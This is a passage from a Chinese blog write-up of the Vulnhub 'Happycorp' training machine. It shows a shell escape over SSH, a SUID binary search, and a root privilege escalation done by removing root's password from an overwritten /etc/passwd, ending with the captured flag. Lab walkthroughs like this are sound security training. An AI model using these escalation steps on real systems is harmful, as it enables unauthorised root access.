rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: Resource temporarily unavailable
karl@happycorp:~$ id
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: Resource temporarily unavailable
karl@happycorp:~$ ^C
karl@happycorp:~$ id
rbash: fork: retry: Resource temporarily unavailable
rbash: fork: retry: Resource temporarily unavailable

rbash: fork: retry: Resource temporarily unavailable
^Crbash: fork: Interrupted system call

指定shell,重新连接：

┌──(kali㉿kali)-[~/Vulnhub/Happycorp]
└─$ ssh -i id_rsa karl@192.168.56.253 -t '/bin/sh'
Enter passphrase for key 'id_rsa': 
$ id
uid=1001(karl) gid=1001(karl) groups=1001(karl)
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/sbin/mount.nfs
/bin/mount
/bin/ping
/bin/cp
/bin/umount
/bin/su
$

可利用cp命令的SUID位

$ cp /etc/passwd /home/karl
$ cd /home/karl
$ ls -alh
total 32K
drwxr-xr-x 3 karl karl 4.0K Dec  4 08:18 .
drwxr-xr-x 3 root root 4.0K Mar  4  2019 ..
lrwxrwxrwx 1 root root    9 Mar  5  2019 .bash_history -> /dev/null
-rw-r--r-- 1 karl karl  220 Mar  4  2019 .bash_logout
-rw-r--r-- 1 karl karl 3.5K Mar  5  2019 .bashrc
-rw------- 1 karl karl   28 Mar  4  2019 .lesshst
-rw-r--r-- 1 root karl 1.4K Dec  4 08:18 passwd
-rw-r--r-- 1 karl karl  675 Mar  4  2019 .profile
drwx------ 2 karl karl 4.0K Mar  5  2019 .ssh
$

不需要用到cp来提权，只需要将passwd文件下载到本地，然后删除root的密码，上传文件并覆盖原有的文件即可。

$ su - root
root@happycorp:~# cd /root
root@happycorp:~# ls 
root.txt
root@happycorp:~# cat root.txt
Congrats!
flag2{aGFja2VyZ29k}
Here is some useless ascii art :)
           ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  |                 |  |  |     | -==----'|      |
     |  |                 |  |  |     |         |      |
     |  |  Hacker God     |  |  |/----|`---=    |      |
     |  |  C:\>_          |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________,"


 -Zayotic


root@happycorp:~#

posted @ 2022-12-04 13:43 Jason_huawen 阅读(34) 评论(0) 编辑收藏举报

会员力量，点亮园子希望

刷新页面返回顶部

Jason_huawen

Vulnhub之Happycorp靶机测试过程

Happycorp

识别目标主机IP地址

NMAP扫描

获得Shell

公告